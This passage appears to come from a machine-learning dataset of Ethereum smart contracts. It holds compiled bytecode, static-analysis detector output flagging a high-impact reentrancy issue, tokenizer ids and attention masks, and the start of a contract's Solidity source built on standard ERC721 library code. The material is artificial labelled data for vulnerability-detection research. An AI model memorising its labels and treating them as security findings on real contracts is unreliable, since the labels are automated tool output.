1905081810360008301526135748161328c565b9050919050565b60006020820190508181036000830152613594816132af565b9050919050565b60006020820190506135b060008301846132d2565b92915050565b600060a0820190506135cb60008301886132d2565b6135d860208301876130c3565b81810360408301526135ea8186613056565b90506135f96060830185613047565b61360660808301846132d2565b9695505050505050565b600060208201905061362560008301846132e1565b92915050565b6000613635613646565b90506136418282613892565b919050565b6000604051905090565b600067ffffffffffffffff82111561366b5761366a61396a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136dc82613836565b91506136e783613836565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561371c5761371b61390c565b5b828201905092915050565b600061373282613836565b915061373d83613836565b92508261374d5761374c61393b565b5b828204905092915050565b600061376382613836565b915061376e83613836565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156137a7576137a661390c565b5b828202905092915050565b60006137bd82613836565b91506137c883613836565b9250828210156137db576137da61390c565b5b828203905092915050565b60006137f182613816565b9050919050565b600061380382613816565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061385882613836565b9050919050565b60005b8381101561387d578082015181840152602081019050613862565b8381111561388c576000848401525b50505050565b61389b82613999565b810181811067ffffffffffffffff821117156138ba576138b961396a565b5b80604052505050565b60006138ce82613836565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156139015761390061390c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4f766572206d61782077616c6c657420616d6f756e742e000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4f766572206d6178207472616e73616374696f6e20616d6f756e742e00000000600082015250565b7f436f6f6c646f776e20656e666f726365642e0000000000000000000000000000600082015250565b613cd2816137e6565b8114613cdd57600080fd5b50565b613ce9816137f8565b8114613cf457600080fd5b50565b613d008161380a565b8114613d0b57600080fd5b50565b613d1781613836565b8114613d2257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220776d60579ff31946cdd1c7adb699ab68cb284d767f9cb5a4650cf3eb0f8d8c5364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 7011, 2575, 17788, 2620, 2546, 2683, 2278, 21084, 2475, 2094, 2683, 2549, 2278, 2509, 2278, 16147, 19797, 24594, 2581, 2620, 21926, 2509, 2063, 29097, 2683, 2475, 2050, 2475, 2094, 2487, 1013, 1013, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 8840, 5063, 11031, 1013, 1013, 10474, 1024, 16770, 1024, 1013, 1013, 10474, 1012, 4012, 1013, 8840, 5063, 11031, 1013, 1013, 4037, 1024, 16770, 1024, 1013, 1013, 8840, 5063, 1012, 5446, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,554
0x96fb53bc109da4c41ef3f17a25e161bc8a23336c
/** *Submitted for verification at Etherscan.io on 2021-12-16 */ /** *Submitted for verification at Etherscan.io on 2021-10-01 */ pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 